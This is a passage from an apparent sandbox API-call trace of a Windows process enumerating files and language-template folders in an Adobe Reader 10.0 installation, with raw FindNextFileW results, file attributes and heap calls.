nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.TUR", cAlternateFileName="")) returned 1 [0081.210] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.UKR", cAlternateFileName="")) returned 1 [0081.210] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.UKR", cAlternateFileName="")) returned 0 [0081.210] GetLastError () returned 0x12 [0081.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.210] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0081.211] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_base.dll", cAlternateFileName="")) returned 1 [0081.211] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff9aa20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2aa998, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoolType.dll", cAlternateFileName="")) returned 1 [0081.211] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802945a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme2.dll", cAlternateFileName="")) returned 1 [0081.211] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x647, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme2.sig", cAlternateFileName="")) returned 1 [0081.211] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17190, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eula.exe", cAlternateFileName="")) returned 1 [0081.211] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa3ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtendScript.dll", cAlternateFileName="")) returned 1 [0081.211] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb03a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="icucnv40.dll", cAlternateFileName="")) returned 1 [0081.211] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17790, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt40.dll", cAlternateFileName="")) returned 1 [0081.211] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x837d71e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd46fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt40_full.dll", cAlternateFileName="")) returned 1 [0081.212] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1131a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="icuuc40.dll", cAlternateFileName="")) returned 1 [0081.212] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDTemplates", cAlternateFileName="")) returned 1 [0081.212] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.213] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.213] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0081.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258e90 [0081.213] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258e90, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1258e90, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0081.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258e90) returned 1 [0081.213] NtClose (Handle=0x178) returned 0x0 [0081.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0081.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0081.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.214] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0081.215] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHT", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CZE", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80378de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAN", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEU", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8058e120, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESP", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUQ", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRA", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HRV", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HUN", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITA", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPN", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KOR", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NLD", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOR", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POL", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTB", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUM", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUS", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80600540, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1 [0081.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 0 [0081.216] GetLastError () returned 0x12 [0081.216] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 